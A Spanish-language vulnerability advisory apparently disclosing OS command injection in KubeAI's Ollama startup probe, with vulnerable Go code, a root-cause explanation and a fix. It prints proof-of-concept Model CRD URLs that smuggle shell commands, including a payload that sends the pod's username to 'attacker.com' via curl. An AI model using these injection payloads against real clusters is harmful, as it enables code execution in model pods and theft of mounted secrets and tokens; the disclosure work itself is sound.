
Inyección de comandos del sistema operativo en KubeAI a través de la URL del modelo en la sonda de inicio de Ollama — CVSS 8.7
Gravedad: Alta (CVSS 8.7)
CWE: CWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo
Afectado: github.com/kubeai-project/kubeai <= commit ba1824e
Aviso: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI construye un script de shell para el sondeo de inicio de Kubernetes interpolando componentes de la URL del CRD del Modelo (ref, modelParam) en un comando bash -c mediante fmt.Sprintf en Go. Los metacaracteres de shell en la URL no se sanean, lo que permite a cualquier usuario con permisos RBAC de creación/actualización del CRD Model ejecutar comandos arbitrarios dentro de los pods del servidor de modelos — sin privilegios de administrador del clúster.
Estaba revisando operadores de inferencia de IA para Kubernetes — herramientas que permiten desplegar LLMs como cargas de trabajo de K8s mediante la creación de CRDs. KubeAI soporta Ollama, vLLM y otros motores. Mi hipótesis era: si un usuario puede crear CRDs Model, ¿puede influir en lo que se ejecuta dentro de los pods de modelos?
El código del motor vLLM mostró inmediatamente el patrón correcto: argumentos pasados como un array de cadenas a exec, sin shell involucrado. Así que miré el motor de Ollama para contrastar — y encontré fmt.Sprintf("%s %s", pullCmd, u.ref) alimentando bash -c. Configuración clásica de inyección de shell.
La expresión regular del analizador de URL [^?]+ (todo excepto ?) es lo que lo sella: los puntos y comas, las comillas invertidas y $() son todos válidos en u.ref. Escribí el YAML del PoC, lo apliqué y observé id > /tmp/pwned ejecutarse dentro del pod de modelos.
El matiz que eleva esto: en clústeres K8s multiinquilino, el RBAC del CRD Model a menudo se otorga a equipos que explícitamente no son administradores del clúster. Esto da a un inquilino con privilegios restringidos una vía directa a la ejecución de código arbitrario en los pods de modelos — incluido el acceso a secretos montados y tokens de cuentas de servicio. Cruza un límite de privilegios que el RBAC de K8s debería hacer cumplir.
Archivo: internal/modelcontroller/engine_ollama.go, líneas 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref y u.modelParam provienen del campo URL del CRD Model — controlados por el usuario
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: sin saneamiento
)
// ...
}
Esta cadena se ejecuta entonces como:
Command: []string{"bash", "-c", startupProbeScript}
Analizador de URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// El grupo de captura 2 ([^?]+) permite cualquier carácter excepto '?'
// Los metacaracteres de shell ; | $() ` son todos válidos
Contraste con el motor vLLM (seguro):
// engine_vllm.go — argumentos pasados como array, sin shell involucrado
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
El motor de Ollama toma un atajo: construye una canalización de shell de varios pasos como una cadena y la pasa a bash -c. El motor vLLM usa arrays de argumentos estilo exec. Ningún webhook de admisión ni validación de esquema del CRD restringe el campo URL a caracteres seguros.
Ver poc.yaml — aplicar con kubectl apply -f poc.yaml en un clúster que ejecute KubeAI con modelos Ollama.
Vector 1 — referencia de URL ollama:// (inyección con punto y coma):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sondeo de inicio generado:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
El id>/tmp/pwned se ejecuta y escribe uid=0(root)... en /tmp/pwned dentro del pod.
Vector 2 — parámetro de consulta ?model= (exfiltración OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sondeo generado:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltra el nombre de usuario del pod a un servidor controlado por el atacante.
ModelReemplazar bash -c <cadena> con un sondeo estilo exec que pase argumentos como un array (como ya hace el motor vLLM), o validar los campos URL contra ^[a-zA-Z0-9._:/-]+$ antes de la interpolación.